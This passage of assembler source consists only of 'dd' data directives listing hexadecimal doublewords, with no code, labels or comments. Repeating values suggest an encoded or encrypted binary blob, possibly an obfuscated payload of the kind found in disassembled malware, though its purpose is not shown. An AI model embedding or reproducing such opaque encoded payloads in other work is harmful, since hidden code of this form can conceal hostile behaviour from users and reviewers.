4EB37366h, 0B8539B01h, 0DDCC3A8Fh dd 4B61A99h, 0E8321566h, 44321E8Eh, 7FB78D66h, 0D0D2BA3Fh dd 8C85AD2Ah, 25537538h, 236CA369h, 113DFC06h, 0CABE1566h dd 0D8B264BBh, 69E2DAA8h, 0DD9A54D1h, 63B17405h, 0B5B61A48h dd 42CDEA9Bh, 1138FD36h, 0FD2D1566h, 7A38A5F2h, 1C199152h dd 3DA4C39h, 0D321566h, 8360A996h, 0DB25EBDFh, 0A971ED21h dd 8EAAD412h, 1D6D4556h, 2200FC07h, 1DB1566h, 31321566h dd 0D0B9E5Ch, 0BAD4BC83h, 6FB7D93h, 8C0E07Ch, 4BCC1418h dd 0DDCF8AE3h, 113CFC99h, 0D5721566h, 0D30CAA40h, 0B6997920h dd 0B54E1F38h, 77CE3E8Fh, 443AFC99h, 4C431566h, 0ED034C81h dd 285A7902h, 0CD321523h, 29DB3152h, 1F321566h, 3D88D8EDh dd 0F583604Ch, 24DB3853h, 1B321566h, 46ED7793h, 27B17DEEh dd 2EBB1566h, 1126FC42h, 30FE1566h, 3C0E2251h, 0BDA149CAh dd 89B9EEB6h, 84F87DC6h, 655A5BB6h, 0AB321508h, 9D3D317Ah dd 8832157Fh, 4432018Fh, 0EFF35666h, 0F4737F6Eh, 0AE099677h dd 5295A5Bh, 74E6FFC2h, 21647DD3h, 0B4BB1566h, 45BC1A42h dd 0DB321566h, 9052D557h, 0B10B1790h, 4B9E7425h, 22320FE5h dd 4E627566h, 8832048Fh, 0E651BB66h, 229F93h, 418D6DA3h dd 1F99388Eh, 1553854Bh, 0C9BAD0EEh, 901619EDh, 883211A2h dd 0C33D7566h, 22321565h, 77EA9E00h, 0D953C2EDh, 89B2C8D3h dd 0A2E7E3D2h, 0FCB23D8Bh, 3D9358Ch, 80B3316Ah, 22321562h dd 1135FC06h, 49B91566h, 0B96D50A3h, 0ACFD949Fh, 706A7449h dd 8742EEE6h, 4434B4E2h, 2CB61A66h, 0F8321566h, 8832156Fh dd 5DB400D2h, 6CAD044Fh, 1E3D29FFh, 883317E2h, 0CF547566h dd 2DDB74BEh, 15321566h, 0F50B8231h, 0F8FC9E77h, 0EEB662F6h dd 0F80E51D9h, 84289169h, 22521566h, 2D9F27D8h, 2D53EBD9h dd 91B61A8Dh, 0BC321576h, 0A63DF65Ah, 1132112Ah, 87D0299Ah dd 4423C2E2h, 3ABD1A66h, 0F8321566h, 88321575h, 8B7F5CB7h dd 61062EBFh, 0E010D172h, 90526C4Fh, 0CF17CE4Bh, 0AB61315Ah dd 15F19485h, 0B321566h, 58B511A5h, 2DDB4942h, 83321566h dd 0C07ABCAh, 8D24FCECh, 9259CA43h, 9ACB957Dh, 162317Ah dd 44361086h, 0E2B11566h, 35369262h, 883CFC3Ah, 0D94E1566h dd 9F024AC4h, 97ADCCDDh, 6DF28AA5h, 4432048Fh, 0ECC51666h dd 0FD5C816h, 202502BAh, 0E4653254h, 2EB9CA97h, 0F4BB4042h dd 8836D0E7h, 81B31566h, 22321562h, 4D1639E1h, 0AC069E93h dd 0C5D09C34h, 223211A4h, 15F09666h, 0D41601E1h, 48DBD69Eh dd 0C2321566h, 0F78B0AAFh, 0D420468Eh, 83EC227Fh, 2C49B8E3h dd 11321360h, 83B11A66h, 24321566h, 0ECD29400h, 278873B1h dd 326074EAh, 44321566h, 0F72D7E7h, 0E333051Bh, 0A572FFE7h dd 5EB8051Bh, 23B21A3Ch, 0ED321566h, 7E1EA536h, 68FAEBB6h dd 16EAE3C1h, 314611CFh, 30524DA5h, 624EEF6Fh, 2232068Eh dd 0E2E8CA66h, 32882520h, 0B1CCB29Ah, 1C212E98h, 3670ABE5h dd 8832068Eh, 134E1E66h, 0CFC8B8B9h, 8C79D319h, 12D61D41h dd 35C1CE55h, 0A2534B3Ch, 943D959Dh, 77CDEBB5h, 443A9C69h dd 0A2521566h, 0CEB261B2h, 35677459h, 44321567h, 0DB6FFB4Fh dd 4AB90EDh, 9CDB1361h, 0C1321566h, 69B3E46Ch, 383B2990h dd 28D68B07h, 0A66C6922h, 2D1B84EFh, 113214E9h, 1DB9EC66h dd 42351577h, 26DE949Fh, 98321566h, 0BCB33152h, 3B679342h dd 0D1B34E54h, 234D40E0h, 8E8C439Fh, 45321566h, 6069E95h dd 1E36D1E5h, 883214EEh, 1560ED66h, 2D13FEDFh, 0F8C39478h dd 12C1A47h, 0B6334CACh, 42680F65h, 11309069h, 70B91566h dd 7F53D2EDh, 14B01ABEh, 71321566h, 1747AF35h, 256C50FDh dd 0A43DCF5Dh, 0EECDEB41h, 882D9769h, 0AC521566h, 22321574h dd 21D155h, 5AE086A7h, 3BD2189Dh, 0A7C43775h, 0AB6CD30Dh dd 0D3A728DBh, 91D99407h, 0A341715Ch, 455907A5h, 9C93C49h dd 1059078Dh, 0F7F19449h, 0F841715Ch, 8832156Dh, 61AEB807h dd 15A5A92h, 472D1E39h, 883213D8h, 5FF19466h, 0B547820h dd 0AD99495h, 0D6547820h, 83B34306h, 12BB8964h, 12B01A3Ch dd 8321566h, 2253FFBFh, 3EB81ACBh, 1E321566h, 883203ECh dd 4423FC66h, 73DF1566h, 0C733119Ah, 0B389B2C9h, 0BEC65FD8h dd 44311B28h, 1EC775CDh dd 883219EEh, 4434FD66h, 80591566h, 0DF0F0ACBh, 5003743Eh dd 9C03D657h, 0A6D09506h, 113AFC07h, 0FDA51566h, 3A9BB8FAh dd 2D9951D7h, 11321CEBh, 72B97566h, 0AF898DDFh, 75CB7471h dd 4E6A61D9h, 35D59440h, 0B35C274Ch, 0C5F35AB1h, 0FEB35264h dd 0EF85CA43h, 4B6DEB67h, 223207E2h, 113FFC66h, 98281566h dd 3268B4B4h, 0A9D967B9h, 0F8D9014Eh, 8832156Eh, 50C10507h dd 0CBB7C992h, 0F81629EFh, 88321569h, 2F404AF2h, 80DE7023h dd 0E515DCBEh, 14D5A27h, 4B3E3112h, 22320FE1h, 5BA1A66h dd 61321566h, 44321569h, 0A2DE7E4h, 52F676DEh, 0EFCBE282h dd 0CD2BD0EBh, 251968D3h, 7B01A60h, 87321566h, 443205EEh dd 2239FC66h, 0D8601566h, 55FF41FFh, 4AD46204h, 606EA0Dh dd 15F69439h, 0E8321566h, 44309F69h, 43521566h, 0EE534C36h dd 0B693152h, 0C43D11A2h, 2232156Eh, 11309769h, 0E9521566h dd 1D162199h, 2236D1E7h, 1FDB1566h, 9F321566h, 0D1B1FE6Ch dd 9B5A106Ah, 7D67AE8Fh, 0AC069E86h, 0C5D09C34h, 223211A4h dd 15F09466h, 0F321566h, 246E3172h, 2232018Fh, 172C4466h dd 87A74988h, 8953C38Dh, 9742C34Eh, 9A0E4D8Eh, 89B21A2Dh dd 0B1321566h, 0A3547507h, 1E32D590h, 883215E8h, 10627466h dd 2236103Eh, 0D1B11566h, 0AC369262h, 24CB753Ah, 0CC4411DCh dd 11B71A0Eh, 0E9321566h, 986CFC07h, 29DBEA99h, 0BC321566h dd 0F18796ADh, 0F0D01E02h, 0A33D545Dh, 1132156Ah, 88349A69h dd 0C13D1566h, 22321566h, 6A9F90A1h, 88301368h, 0C83D1566h dd 22321576h, 11321E8Fh, 5261F66h, 4417E562h, 9B372A97h dd 1A8B4430h, 0B941A570h, 1D36312Ah, 29C1943Dh, 1E41A570h dd 883205E8h, 4EB91A66h, 0CB321566h, 11321563h, 6EDA9636h dd 4A841ACFh, 2232198Fh, 0C2259D66h, 0BEF59CA6h, 21EFDB7Ch dd 0A2CB9552h, 11919669h, 9BDB1566h, 1321566h, 0B6D4E8DCh dd 0D68B7B4Dh, 0ABE1FD00h, 619AB5BEh, 0CB52A9AEh, 1132156Ah dd 0EF9D0321h, 948DEDF5h, 8558ABBDh, 70FDAA69h, 0DEC6AC37h dd 0A5B375DCh, 4E5F4E67h, 9031F4A7h, 0BD4FB187h, 0C5E3E239h dd 13C24897h, 48F93C88h, 4BB3DE67h, 54FC0AC4h, 22321A8Fh dd 0E9FBA666h, 2CD6C783h, 258350C9h, 297272F0h, 1133AD36h dd 4B331566h, 4421FC3Eh, 0C1D1566h, 7087CE7Bh, 98E6A994h dd 66B3236Ah, 280088AAh, 11B9FCDEh, 83D1566h, 4432156Bh dd 22321D8Fh, 0BC98A166h, 0A47FC1B1h, 0E98546F6h, 443AFAA6h dd 11CDA334h, 0A0687391h, 0C03D4E9Fh, 22321561h, 11339B69h dd 0DDCA1566h, 443215DBh, 0ABFF3C66h, 351E9E8Fh, 8836D1E7h dd 0CE3D1566h, 22321568h, 11BD1A06h, 9321566h, 2E1B78B6h dd 7267746Bh, 6438ABDEh, 838FA842h, 811B3113h, 7FDB343Eh dd 0E48D429Eh, 890F8E47h, 8F1B4A9Dh, 3C7FEE7h, 1BDB28FDh dd 43321566h, 37315DEDh, 6A715D2Dh, 88B79E4Dh, 61341273h dd 44321568h, 0C06A4B54h, 0C5837B95h, 6C9095D1h, 0D1B9E0D2h dd 24351577h, 3C8F969Fh, 89341254h, 40519169h, 0A03D1566h dd 1132156Ch, 5FB37306h, 0FB3DA004h, 1BCE74B1h, 5BB01AA5h dd 74321562h, 0C63DC65Fh, 0DDCDEF6Dh, 1132108Fh, 23F23066h dd 76DBD5FEh, 2D321562h, 11320CE6h, 8826FC66h, 7BAE1566h dd 861EA0h, 12E6F827h, 0D09915F9h, 80A226CFh, 0A7F5C4F8h dd 173C6ECBh, 88321564h, 40B3439Fh, 8D261F42h, 352E9E71h dd 936D1E5h, 0EB261F8Dh, 943DEC71h, 1121FC68h, 0F0881566h dd 863D636Ch, 6B247C3Ah, 3FA2E832h, 49CDD25Eh, 0C4CB9597h dd 22649669h, 9A3D1566h, 88321567h, 0DFD9949Fh, 0A34BA82Eh dd 0BA51D4A5h, 9F9146Ch, 0EF51D48Dh, 0B9F1946Ch, 0E94BA82Eh dd 77CDAA31h, 0BF1BEA99h, 0A3547539h, 917B6087h, 615314A0h dd 443215D7h, 0FC8D1A06h, 1132078Fh, 0C7993066h, 846623DFh dd 1E03F26h, 325905EFh, 0E90E76D6h, 0BB854600h, 0AFAD4E6h dd 0D9DB959Fh, 13D4E00h, 4432156Ah, 2232128Fh, 779FC666h dd 9E3E3B0h, 448D42F7h, 0B321566h, 4ECA9CA1h, 9FBF1AF7h dd 0AD321566h, 22321574h, 3A1093AAh, 30CD3D8Ah, 76AC9216h dd 7E24F7EBh, 4361031Bh, 230F8CDCh, 7954AE09h, 0F1037ACDh dd 4AEB343Ch, 88321E8Fh, 9ECE0A66h, 0ABD38D14h, 0A543BC70h dd 0AD8BAB30h, 0B71B01F5h, 0A3F93C38h, 8217ACA5h, 0E3D7572h dd 4432156Bh, 2232128Eh, 0CE40BE66h, 4732F638h, 0BFB9733Fh dd 0BBB79E07h, 71341273h, 3C6F7E6h, 4FDB749Eh, 9E321566h dd 0F15D74CEh, 0A618B1E7h, 0D1B93ED4h, 24351577h, 11389269h dd 0DB521566h, 44B21A3Fh, 43321566h, 3C8F969Fh, 89341254h dd 46919169h, 19CB1566h, 21B01ABEh, 0E8321566h, 0FDB7DCE7h dd 0CB53328Ah, 11321569h, 892A9135h, 0BCAA6604h, 0F06AFB2Ch dd 2851B75Fh, 0C8B41AB5h, 0ADCDEA9Eh, 22321561h, 7B6E400Dh dd 0DBDBCC6Bh, 443214DDh, 79EC3C66h, 1E80479Ah, 0E59D35h dd 0AD684E9Eh, 22321561h, 583A678Ch, 22D544C0h, 8EB97306h dd 0E8B2B2DFh, 0FDB37428h, 88321562h, 0FC1611EFh, 22321566h dd 19B8E567h, 8DB51A3Eh, 24321566h, 43EDA269h, 1130F9E7h dd 1541566h, 0C487316Ah, 7B54FDEEh, 9086459Ah, 64B2F9B6h dd 0FEC695ABh, 0DC34F9A6h, 0E4DE95A2h, 8CB9F446h, 40F69442h dd 42321566h, 11321B8Fh, 0F816D66h, 0A2A6C64Dh, 0FE93693Bh dd 90B8AF46h, 3B04F88Eh, 8C3A7429h, 2232058Fh, 0A6A6F766h dd 3F4A98A6h, 3B996022h, 94754252h, 1CDBBFCFh, 62321566h dd 0C69795D6h, 0C190AC45h, 26AE8282h, 0B7B4FEE7h, 0BF1B04EEh dd 30F4AF34h, 0E3B37CE5h, 9260388Eh, 0BB9AFFE7h, 0F133772Eh dd 5B01A3Ch, 61321566h, 44321569h, 1F6A1A0Ah, 0C5FAD867h dd 0DA67AC9Ah, 0C7C5BF60h, 26BB118Ah, 1136AD42h, 4B1B1566h dd 443CFC3Eh, 0B95F1566h, 0D70AE2FBh, 0E4DCC348h, 0E508BAF5h dd 0E103CD57h, 4752CD57h, 88329169h, 0CF6D1566h, 0CB9974BEh dd 11321563h, 0EB82360Dh, 0FA64445Ah, 61E84430h, 0CB6341DFh dd 0D6C32425h, 4B6BDB67h, 22321CE2h, 0AB547566h, 354BE1Fh dd 0F1BB74B5h, 24353E1Bh, 1132058Fh, 0C17DAE66h, 0AC3D69C5h dd 6AB780D4h, 0B1989CABh, 0A5B7D2ACh, 45341254h, 2D321566h dd 113207EEh, 84BF1A66h, 0AD321566h, 22321561h, 69FB2696h dd 0DF1992D5h, 83B3F2EFh, 22321562h, 2236D2E5h, 0B403315Ah dd 600E2642h, 29DB753Ah, 95321566h, 71929A4Bh, 0EA8959ECh dd 4464C386h, 7068C5EDh, 8832188Fh, 7541C466h, 0E7E19F90h dd 0B8458E69h, 94B91AA6h, 0A5BB4442h, 2236D4E7h, 0D0B11566h dd 0AC3E9262h, 4420FC3Ah, 83721566h, 6D5D189Eh, 1A349FBDh dd 6980C546h, 407703DBh, 48162199h, 8836D1E7h, 41DB1566h dd 0E3321566h, 33CAD5BAh, 9D59C31h, 443211A1h, 26F59666h dd 9A1629E1h, 0A3D3142h, 44321567h, 26EE7D9Fh, 3DBB1566h dd 9D79C42h, 443211A3h, 26F79666h, 4D1639E1h, 82B01A9Ah dd 24321566h, 445CCEE6h, 0DB4BDDE7h, 5E70FC07h, 0CC3DEA99h dd 22321577h, 1132198Fh, 5D88F866h, 0A3D91B00h, 8837F32Ah dd 0EE8F4012h, 89CDEA99h, 0C73D4888h, 22321561h, 11339C69h dd 0DACA1566h, 0CCDBA635h, 0D2BA4EB8h, 1139FC3Ch, 10951566h dd 0D410889Ah, 4127CEDBh, 983DBFB5h, 88321567h, 7B2E7D9Fh dd 16BB1566h, 17DB4D42h dd 7D321566h, 0D3D94B31h, 9A8B440Bh, 38135368h, 701B4CAEh dd 23CAD63h, 223EFC47h, 64E41566h, 4DA8BBF3h, 7F25846h dd 0CA527A66h, 1132156Fh, 2EC1AFFDh, 4943D54Dh, 2237FC08h dd 36531566h, 0D3F8893Ah, 25E0AA69h, 155A4031h, 4C37C92Ch dd 3DFFD0E7h, 0ABBBEF45h, 7DCA3C3Bh, 1132058Fh, 233E8666h dd 86C77F12h, 58DB535Ch, 5DB7C454h, 0E3DBE5Ah, 4432156Bh dd 22321D8Fh, 0F70D6966h, 0A71AA9A0h, 0A4BB45AEh, 2AADAA31h dd 0FEB30FE8h, 0B52C2855h, 336DD2E7h, 0D5B361E9h, 53266373h dd 0BCE8FAE7h, 0BC33068Dh, 26F29639h, 4D1611E1h, 88269C69h dd 4BDB1566h, 8B321566h, 0FD9BAE0Bh, 0E208CBC0h, 760D7DBDh dd 0DA525F02h, 1132138Fh, 8E95C166h, 25F04FB3h, 79162199h dd 1136D1E7h, 98DB1566h, 0CB321566h, 32691C28h, 8FABF64Bh dd 1E2A760Ah, 0BB1D8A5Eh, 0A36B3152h, 113211A2h, 63D7566h dd 44321564h, 29DA4A30h, 1D321566h, 3592E63Ah, 550C244Dh dd 9A54A320h, 706D9F37h, 0D6162199h, 0BD36D1E5h, 77D49C30h dd 113211DBh, 0D5DC1466h, 0C336D3E5h, 426E3152h, 0AA54CDEDh dd 6153FA9Dh, 0BBCDCD3Dh, 2232068Fh, 0D3A87866h, 9DA576DFh dd 7B33EA61h, 5D270A73h, 5BB2DA18h, 0F39F90A1h, 44371368h dd 0AB3D1566h, 11321578h, 882A9869h, 57DB1566h, 1C321566h dd 7669E376h, 346566A9h, 0A75B762Dh, 0CDCC5493h, 963DC572h dd 88321567h, 0B6BB479Ah, 61E9434h, 1D7210C1h, 2FF1943Dh dd 1E3E5563h, 2232198Fh, 5F439666h, 63EF99BDh, 0F8943F2Ah dd 26DE966Eh, 0AE1629EFh, 88321562h, 0B86DEE67h, 0D48D1A06h dd 1132138Fh, 0F3F02966h, 253D1E89h, 2232AF34h, 0E3331566h dd 9CB90F65h, 40F69642h, 0F2EA9406h, 0ED4458C1h, 85B91A07h dd 24321566h, 0F6AEDFE7h, 90546A11h, 0E94D9997h, 51AB90EDh dd 0A93D1361h, 1132156Bh, 5BB37306h, 0ADB35422h, 598D0B0Bh dd 0A79E07h, 70341266h, 458A459Fh, 0B321566h, 92CA4DA0h dd 8F390CDBh, 0C03D1460h, 22321247h, 1EEA2E93h, 883205E4h dd 9E09ED66h, 23519369h, 77521566h, 0A58FD2E7h, 39879C07h dd 0DB34124Dh, 11321B8Fh, 0CD91B566h, 84A4458Bh, 47DE0314h dd 9A0FB34Bh, 8649B8FBh, 6EB01A60h, 42321566h, 11321F8Fh dd 4E829566h, 0BD1A03B0h, 0CB7083A4h, 11321572h, 3EA2C0B2h dd 0D5305C5Ah, 0C461490Ah, 576E8474h, 8477B54Dh, 60769407h dd 3075306Ah, 356E1434h, 0AD8B446Ah, 6D600721h, 7B22312Ah dd 11389669h, 8521566h, 0C5548BA5h, 435BA291h, 1134998Fh dd 8826FC66h, 62D41566h, 98B6F054h, 0F21B7E80h, 0E8C40253h dd 0DB9A6F59h, 1EB919F9h, 0F0BB4442h, 8836D4E7h, 85B31566h dd 22321562h, 4D1619E1h, 91B7D293h, 4534126Dh, 2D321566h dd 113212EEh, 89B61A66h, 0B8321566h, 771609EDh, 0D4B3F0EFh dd 88321562h, 0C336D0E5h, 2D6E314Ah, 11320DE5h, 8821FC66h dd 77101566h, 0DCC30405h, 6BAF5179h, 361AF0E8h, 32AC36FFh dd 606EA1Dh, 15F6943Fh, 87321566h, 44321BEDh, 24DA7566h dd 79321566h, 14379D43h, 0BB534C7Bh, 0A36C3152h, 113211A2h dd 9547566h, 25ACFD8Dh, 0AB36F9E5h, 0F0BB316Ah, 8836D4E7h dd 85B11566h, 63E9262h, 0C2B9753Ah, 2D2089DDh, 1652744Bh dd 7DF2AA69h, 70F19E00h, 77E0568Fh, 4435FC99h, 61C21566h dd 1929AD16h, 0A58F967Eh, 45341254h, 27AD9169h, 943D1566h dd 8832156Eh, 44B11A06h, 43321566h, 4AB884Dh, 0EE521361h dd 0C42CBFDCh, 0A953B782h, 162DA0EBh, 9BDB7560h, 51321566h dd 0D6F180EEh, 0C856C2DBh, 0BB42D194h, 44A2BA2Fh, 27DB4314h dd 0EC321566h, 9C9487E2h, 7B8A4507h, 2303A41Ah, 0C8334DA7h dd 0F40DFCE7h, 0CF5224D7h, 0FDB973A1h, 51F39407h, 0A165EE73h dd 489469Fh, 0B65EE73h, 77524EBFh, 26EECCE7h, 0A38C4307h dd 0D54A355Ch, 0FDF494B8h, 0A14A355Ch, 0AC524B97h, 22321574h dd 0F45AE435h, 0B68E6924h, 0C938FC90h, 0A724E84Ch, 4E64DF2Dh dd 8835FC3Ch, 2FEE1566h, 0F1F7CA59h, 178274A8h, 593E7262h dd 4036CD90h, 0A2B0A334h, 0E11A7188h, 8821FC3Ch, 0E7151566h dd 757F54E4h, 81C412C0h, 8D3F4B47h, 0A517E629h, 2FDBBFEAh dd 0B0321566h, 4BCB4EC6h, 87E8DA9Eh, 58A921F5h, 15DE9436h dd 1321566h, 1D6A316Ah, 2232108Fh, 8E973266h, 87994F94h dd 443219EDh, 24B51A66h, 1E321566h, 883215E0h, 0A6BB4766h dd 2236D7E7h, 0D3B11566h, 0AC269262h, 0B11631EDh, 79162199h dd 0F836D1E5h, 88321563h, 6593EE90h, 25BE1ADBh, 1E321566h dd 883214EBh, 70CDE966h, 0E6B34C42h, 11321562h, 8832018Fh dd 2F8DEC66h, 0ECD3C2B6h, 0BA576F5Ch, 0CB5FB469h, 0FB956679h dd 606EA2Fh, 15F69438h, 61321566h, 4432156Fh, 0BED7AFFBh dd 1BE2FD9Bh, 8823FC38h, 35C51566h, 5B3D065Ch, 0F7E34038h dd 0FE858F56h, 12460054h, 0E4B3F3EFh, 11321562h, 0F36D3E5h dd 60B93152h, 16DBEC42h, 0E4CDEAB2h, 0F39F90A1h, 44301368h dd 4AC71566h, 11324A9Ch, 0D31621EFh, 4432048Fh, 0C1BCC566h dd 25245F96h, 0AAB7525Ah, 49C102CEh, 943D81AEh, 1123FC68h dd 88021566h, 999524B4h, 4CF3E7E2h, 83CD1711h, 6199CCF9h dd 44321575h, 12B6BE9Ah, 92ED188Eh, 0CA3F888Fh, 661542F2h dd 0A2A72964h, 923D959Fh, 8832151Ah, 44321B8Fh, 2F980166h dd 277885FFh, 0A81CDDC1h, 16742A7Ah, 0AF32FFDCh, 14D0D403h dd 93AF7A7h, 774953A4h, 0D0B35F39h, 0C552C233h, 8968C64Fh dd 54F194ADh, 2D19250Ah, 113219EDh, 67B37566h, 5FCC87FDh dd 0EDBAAC00h, 108F4007h, 89321566h, 55DB488Dh, 84321566h dd 0A51A3E68h, 0EF2EFD8Fh, 461F9CD0h, 0D1FAA7EBh, 1184FC93h dd 0E8521566h, 17F1AA69h, 0A354743Eh, 70489CBCh, 0DB97A734h dd 9E1A5BD5h, 0A2E8E33Dh, 0D3CCAA94h, 86EDFE6h, 951AB594h dd 3486753Ch, 1132188Fh, 0D111F766h, 0B92D78A3h, 0D5662E5Fh dd 96536C8Fh, 0FE1E2BFh, 0C43D54BFh, 22321570h, 11229669h dd 83DB1566h, 1E321566h, 0C4007413h, 58A42E75h, 64B3DAB2h dd 44321562h, 981601EFh, 2DA056B1h, 42B3CF91h, 6DC25BF9h dd 0DC72E7E7h, 0C013FE9Bh, 883FFC3Ch, 0D1B81566h, 0FA79762Bh dd 75EDCD1Eh, 0D9DDFF47h, 0F30E3EDFh, 7BF91409h, 0FAB3DE4Fh dd 0E785294Dh, 443C9169h, 2BDB1566h, 0DE321566h, 288ADAC0h dd 59D1C4AEh, 37AB90EDh, 9ACB1361h, 8F3204F3h, 4438FC60h dd 88421566h, 7553FA57h, 0EB3026D5h, 44289269h, 0CB521566h dd 11321575h, 752A45A9h, 0BCC42AEAh, 0A1A3A6Eh, 0BC8A274Dh dd 0E9934B4Bh, 0BBC8F98Fh, 23B51A99h, 0ED321566h, 0F39F90A1h dd 44301368h, 2D521566h, 1FDBCAD9h, 36321566h, 2771C44Eh dd 0EC0ABA47h, 604184F5h, 64B174B8h, 60069C62h, 2AB01A3Dh dd 1E321566h, 883217EAh, 4B537566h, 0A2CE1BD0h, 923D959Fh dd 88321503h, 4432138Fh, 0FEE44966h, 90BBB789h, 9134018Dh dd 11F91454h, 5979CDDBh, 6DFF9476h, 9768568h, 8C3E6BABh dd 34F7943Dh, 10E008D0h, 0D3D488Dh, 44321567h, 0DD8D429Eh dd 38CDEA99h, 98DB4A9Dh, 4C321566h, 15A6770Eh, 0E0663895h dd 3C1004Dh, 0AD99EED6h, 223215CEh, 11321D8Fh, 289C6E66h dd 3CC4AAC8h, 2E8546B0h, 0D6CCC290h, 844DAE6h, 0B3B26889h dd 0FEC5953Ch, 0DB9EC4Eh dd 8CF69442h, 0AD321566h, 2232156Dh, 84F08BF1h, 8827B333h dd 0C7C3AF67h, 26BB118Ah, 1132AD42h, 401B1566h, 4B6AD4EFh dd 223204E8h, 113EFC66h, 0A3AF1566h, 0C36769B7h, 0CE3BCC0Bh dd 2B5A0960h, 132154Bh, 0BB8D315Ah, 3321566h, 0E4524A9Fh dd 0E9FD9E00h, 1D34AC37h, 0F3C51801h, 3DE5FCE7h, 431BC4B1h dd 0C5F93C3Fh, 0E34837A5h, 1120FC46h, 0ABBF1566h, 0CC0E7214h dd 0E928E0D4h, 9EA01AA0h, 0E17280B9h, 51AB90EDh, 0A13D1361h dd 11321576h, 88321E8Fh, 6CFF7466h, 0CA8765B0h, 5AB9293Eh dd 882380EDh, 0CF3D1361h, 2232156Eh, 9AC19406h, 0E94431CCh dd 761FA8E5h, 2D331361h, 0EEC4E9E2h, 8820FC99h, 0ABCF1566h dd 93D89E3Bh, 0E021B17Eh, 0C8B41F4Eh, 0BA184156h, 0A03DCD5Dh dd 11321541h, 883B9769h, 0C4521566h, 9854E0A1h, 2853C9C6h dd 18B41AB5h, 4BCDEA8Ah, 22321FECh, 1137FC66h, 10C61566h dd 152D5CA5h, 210124DFh, 50EBE20Eh, 4930FCA7h, 0A5B31187h dd 3C532C2h, 0CC33D4E7h, 461BEB6Ah, 4423FC3Fh, 0BA1566h dd 5AAEFEABh, 0A20520E5h, 56711F99h, 422FC20Ah, 5ACEAB00h dd 88249969h, 55DB1566h, 0C9321566h, 966E75BBh, 0F36D062Ch dd 0E7F1BFCCh, 0BC10658h, 15DE9407h, 1321566h, 0B1BB314Ah dd 0DB6FFCEFh, 647A833h, 61332D5Fh, 0C5CB3C3Bh, 1B25608Fh dd 0DDB8755Eh, 5C979D8h, 0FF617477h, 220647ABh, 2A82FEE7h dd 4BB35FF6h, 0E69FD8Eh, 0DB69CC4Fh, 85874435h, 7E6BFEEEh dd 46D1D5B5h, 0DCEFDEE6h, 4C195ADh, 6169CDEEh, 4432156Ah dd 785DEE82h, 0D20C46D2h, 88B33171h, 4438FCCCh, 97BA1566h dd 14BCCF16h, 0CAA9C924h, 8503DD57h, 27DBDD57h, 67321566h dd 9DF00BD3h, 87B375CDh, 75335790h, 11349B69h, 40B31566h dd 364FF095h, 298D7507h, 0AA52753Bh, 9D25FC0Dh, 8BABFC07h dd 2BDBEA99h, 5D321566h, 53A33EBBh, 3778F22Fh, 2235FC06h dd 9EDA1566h, 8AE50E53h, 25D59FF9h, 78A4535h, 0D01CA00Dh dd 49721186h, 94C51386h, 0C6158E63h, 82683830h, 4BBB9451h dd 0CEC1143Eh, 1ECB4E65h, 6FB61A8Eh, 0E8321566h, 0C0EDFFE7h dd 688C5B23h, 707D7929h, 0AF5A4531h, 1C475101h, 2731F5A7h dd 940ADDF5h, 496AD2EFh, 0B3751289h, 0BDD94B9h, 906D4675h dd 0F1249691h, 0F4F5940Bh, 0AB00DDBBh, 0F8CE4A9Eh, 8832176Fh dd 92B37306h, 28DA232Ah, 0FD321566h, 0BFE44C94h, 0E5B7DF3h dd 2221FC43h, 0BDE91566h, 8AAAD837h, 0E915FD6Ch, 229E69B4h dd 2A70DF18h, 87534B21h, 44321DE0h, 20BB1A66h, 71321566h dd 6DBB4007h, 4436D0E7h, 0CFB11566h, 351E9262h, 0AC2E9C3Ah dd 0B3BB429Eh, 1EB9EEEFh, 15F69442h, 0E8321566h, 4432018Fh dd 779C4366h, 0F1844987h, 0AFD666E8h, 43875C8Fh, 5A1F5A39h dd 70B1A1B1h, 8833AD36h, 0B4331566h, 26B90D65h, 15F69442h dd 87321566h, 443214E7h, 9252ED66h, 0AD5A74CAh, 1321530h dd 418A3162h, 23321566h, 1DB4DA5h, 5F321566h, 177B8A64h dd 40F5509Bh, 0B4D04EFh, 0DA04C6ABh, 0CCB4A235h, 0C8B24E9Ch dd 0B4F095BBh, 0A8D7E6h, 0AC524FB6h, 22321568h, 4C8D8EF1h dd 1464F8FDh, 60977FA2h, 43523F79h, 11B31A3Dh, 0E9321566h dd 4DB51ACCh, 42321566h, 80F49400h, 0E969440Ah, 6DF1949Eh dd 0B288305h, 388D429Dh, 0A1288305h, 0C83D4A9Dh, 2232156Ah dd 11349369h, 0E3D1566h, 44321566h, 2232188Fh, 0BC372E66h dd 58E23BDEh, 0ED470764h, 9860E530h, 11321562h, 9CB9C64Fh dd 40F69642h, 0CEB3459Eh, 11321562h, 0D01609EFh, 2499E93Dh dd 2232078Fh, 0DD95866h, 7B903C7Eh, 89E5DC8h, 1163CF53h dd 0F852B43Eh, 8832156Bh, 1A0A0AA4h, 0B3DCA020h, 0D797E9E6h dd 94B974D7h, 0A1BB4042h, 2236D0E7h, 0D4B11566h, 0AC1E9262h dd 4437FC3Ah, 0C04F1566h, 46FC5680h, 0A13BAB30h, 0A2B3699Eh dd 5A1D41F3h, 390FFBE7h, 97464F3h, 291A55A0h, 7CC59C9Fh dd 716DEB67h, 0DEE09400h, 57DB7438h, 50321566h, 0FD40D322h dd 0F57FB67h, 0C907849Bh, 0DAFC9A7Dh, 41607BD6h, 634E200Eh dd 2F3F4D29h, 0F6EF824h, 4EDD6B18h, 16AD7EFh, 56DB4FB6h dd 17321566h, 878E8137h, 0EC8F4EF2h, 0B3115569h, 0A3A45688h dd 18DBD6E4h, 0ED321566h, 0DC0440C3h, 1D459403h, 90D09C34h dd 883211A4h, 40D89666h, 7E1601E1h, 0F81619EFh, 88321568h dd 1826EE7Dh, 2992E41Dh, 5E516498h, 0EE52D107h, 0FB3DE6EDh dd 0DD5474BFh, 3DB37350h, 0EE444A42h, 2261733Eh, 44444ADDh dd 4A54CD67h, 8832128Fh, 78547666h, 52314FFh, 0C0B97306h dd 883BFD36h, 67B91566h, 36523076h, 49FC2385h, 4B0E743Ch dd 45009169h, 28DB1566h, 1A321566h, 0C2DED89Bh, 8B8603ACh dd 23B81A80h, 0E9321566h, 0C3DDE5Ah, 44321472h, 0E00E7406h dd 107C9169h, 39521566h, 1FE29469h, 430FF6B7h, 953DDF5Ah dd 8832145Ah, 44389269h, 27DB1566h, 0E1321566h, 2D671F67h dd 61CD2800h, 23789169h, 1CDB1566h, 0CD321566h, 33343C32h dd 3220AA4Ch, 923CD7Ch, 771C2800h, 44479069h, 2D521566h dd 113213E9h, 88B21A66h, 22321566h, 43401EDEh, 9836F9E5h dd 8A8B316Ah, 